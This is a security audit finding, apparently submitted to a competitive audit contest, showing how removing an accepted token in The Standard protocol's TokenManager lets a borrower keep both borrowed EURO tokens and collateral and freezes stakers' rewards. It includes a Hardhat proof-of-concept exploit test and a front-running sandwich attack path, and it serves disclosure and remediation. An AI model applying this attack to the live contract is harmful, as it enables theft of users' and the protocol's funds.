The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Removing assets in the `TokenManager` leads to major issues

cosine

Summary

The TokenManager contract allows adding and removing assets from the list of accepted tokens. These are the assets which are allowed to be used inside the protocol. When any asset is removed from this list, a major issues occur, as well as a direct attack path to steal an arbitrary amount of EURO tokens.

Vulnerability Details

The currently deployed TokenManager contract can be found here: https://arbiscan.io/address/0x33c5A816382760b6E5fb50d8854a61b3383a32a0#code

And as we can see here, it allows to remove assets from the list of accepted tokens:

contract TokenManager is ITokenManager, Ownable {
Token[] private acceptedTokens;
​
function getAcceptedTokens() external view returns (Token[] memory) {
return acceptedTokens;
}
​
function addAcceptedToken(address _token, address _chainlinkFeed) external onlyOwner {
...
acceptedTokens.push(Token(symbol, _token, token.decimals(), _chainlinkFeed, dataFeed.decimals()));
...
}
​
function removeAcceptedToken(bytes32 _symbol) external onlyOwner {
require(_symbol != NATIVE, "err-native-required");
for (uint256 i = 0; i < acceptedTokens.length; i++) {
if (acceptedTokens[i].symbol == _symbol) {
acceptedTokens[i] = acceptedTokens[acceptedTokens.length - 1];
acceptedTokens.pop();
emit TokenRemoved(_symbol);
}
}
}
}

The getAcceptedTokens function from the TokenManager contract is used in the liquidate function to get the list of collateral tokens to liquidate. Here we can see that the liquidate function updates the minted amount to 0, loops over all tokens inside the accepted tokens list and transfers them to the SmartVaultManager:

function liquidateERC20(IERC20 _token) private {
if (_token.balanceOf(address(this)) != 0) _token.safeTransfer(ISmartVaultManagerV3(manager).protocol(), _token.balanceOf(address(this)));
}
​
function liquidate() external onlyVaultManager {
require(undercollateralised(), "err-not-liquidatable");
liquidated = true;
minted = 0;
liquidateNative();
ITokenManager.Token[] memory tokens = getTokenManager().getAcceptedTokens();
for (uint256 i = 0; i < tokens.length; i++) {
if (tokens[i].symbol != NATIVE) liquidateERC20(IERC20(tokens[i].addr));
}
}

Now suppose the vault was collateralized with a token that was removed from this list. The vault will be instantly liquidateable as EUROs were borrowed but no collateral can be found in the vault. The minted variable is still set to 0, but collateral tokens stay inside this vault, as the token is not part of that for loop.

So the collateral stays in the vault, the minted amount is updated to 0 and the stakers / the protocol gets nothing. The borrower is now able to remove this collateral tokens out of the system by calling removeAsset, which will check if the collateral can be removed by calling canRemoveCollateral and this function will instantly respond with true as the minted amount was set to 0:

function removeAsset(address _tokenAddr, uint256 _amount, address _to) external onlyOwner {
ITokenManager.Token memory token = getTokenManager().getTokenIfExists(_tokenAddr);
if (token.addr == _tokenAddr) require(canRemoveCollateral(token, _amount), UNDER_COLL);
IERC20(_tokenAddr).safeTransfer(_to, _amount);
emit AssetRemoved(_tokenAddr, _amount, _to);
}
​
function canRemoveCollateral(ITokenManager.Token memory _token, uint256 _amount) private view returns (bool) {
if (minted == 0) return true;
uint256 currentMintable = maxMintable();
uint256 eurValueToRemove = calculator.tokenToEurAvg(_token, _amount);
return currentMintable >= eurValueToRemove &&
minted <= currentMintable - eurValueToRemove;
}

Therefore, the borrower keeps the borrowed EURO tokens, as well as the collateral tokens. An arbitrary amount of EURO tokens can be stolen with this attack path. Especially if the malicious actor would sandwich the call that removes any collateral token from that list, it would be possible to front run the call and take a big loan with this collateral token and back run it to liquidate the own loan and remove the collateral from the vault.

The following POC can be implemented in the smartVault test file and showcases how a malicious actor can exploit the removal of a token:

describe("accepted token removal exploit", async () => {
it("accepted token removal exploit", async () => {
// add token to the TokenManager
const Tether = await (
await ethers.getContractFactory("ERC20Mock")
).deploy("Tether", "USDT", 6);
const clUsdUsdPrice = 100000000;
const ClUsdUsd = await (
await ethers.getContractFactory("ChainlinkMock")
).deploy("USD / USD");
await ClUsdUsd.setPrice(clUsdUsdPrice);
await TokenManager.addAcceptedToken(Tether.address, ClUsdUsd.address);
​
// mint user 100 USDT
const borrowAmt = ethers.utils.parseEther("1");
const collateralAmt = BigNumber.from(100000000);
​
await Tether.mint(user.address, collateralAmt);
​
// ---------------- front run ----------------
​
// add collateral to the vault
await Tether.connect(user).transfer(Vault.address, collateralAmt);
​
// borrow EURO tokens
await Vault.connect(user).mint(user.address, borrowAmt);
​
// ---------------- token is removed from TokenManager ----------------
await TokenManager.removeAcceptedToken(
ethers.utils.formatBytes32String("USDT")
);
​
// ---------------- back run ----------------
​
// vault is liquidated
await VaultManager.connect(protocol).liquidateVault(1);
​
// remove collateral out of the vault
await Vault.connect(user).removeAsset(
Tether.address,
collateralAmt,
user.address
);
​
// attacker owns all the collateral tokens and the full borrowed amount
expect(await Tether.balanceOf(user.address)).to.equal(collateralAmt);
expect(await EUROs.balanceOf(user.address)).to.equal(borrowAmt);
});
});

Another problem with removing accepted tokens occurs in the LiquidationPool contract. Stakers can stake TST and EURO tokens to be able to buy collateral tokens for a discount with it. The bought collateral tokens are saved inside a mapping and can be claimed anytime by the staker with the claimRewards function:

function claimRewards() external {
ITokenManager.Token[] memory _tokens = ITokenManager(tokenManager).getAcceptedTokens();
for (uint256 i = 0; i < _tokens.length; i++) {
ITokenManager.Token memory _token = _tokens[i];
uint256 _rewardAmount = rewards[abi.encodePacked(msg.sender, _token.symbol)];
if (_rewardAmount > 0) {
delete rewards[abi.encodePacked(msg.sender, _token.symbol)];
if (_token.addr == address(0)) {
(bool _sent,) = payable(msg.sender).call{value: _rewardAmount}("");
require(_sent);
} else {
IERC20(_token.addr).transfer(msg.sender, _rewardAmount);
}
}
​
}
}

As we can see, this function also loops over the accepted tokens list. If there are unclaimed rewards and the token gets removed from the accepted tokens list, then all of these funds will be frozen in the contract and no longer claimable. As the staker already paid for these rewards with EURO tokens, funds were stolen from the staker.

Impact

  • Malicious actors can steal funds from the protocol, especially when they sandwich the removal call.

  • Borrowers can not be liquidated or only partially liquidated (if multiple collateral tokens are in the vault).

  • Rewards can not be claimed and are frozen in the LiquidationPool, but stakers already paid for them.

Recommendations

There are multiple ways to fix this issue. This suggestion is not the most beautiful design choice, but it is one way to fix the issue by touching the current system logic as little as possible:

  • add the ifNotLiquidated modifier to the remove asset / collateral functions

  • implement functions for the whole liquidation / claim reward flow which do the same thing for specified token addresses instead of the whole accepted tokens list

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

remove-token

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

remove-token

removetoken-low

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.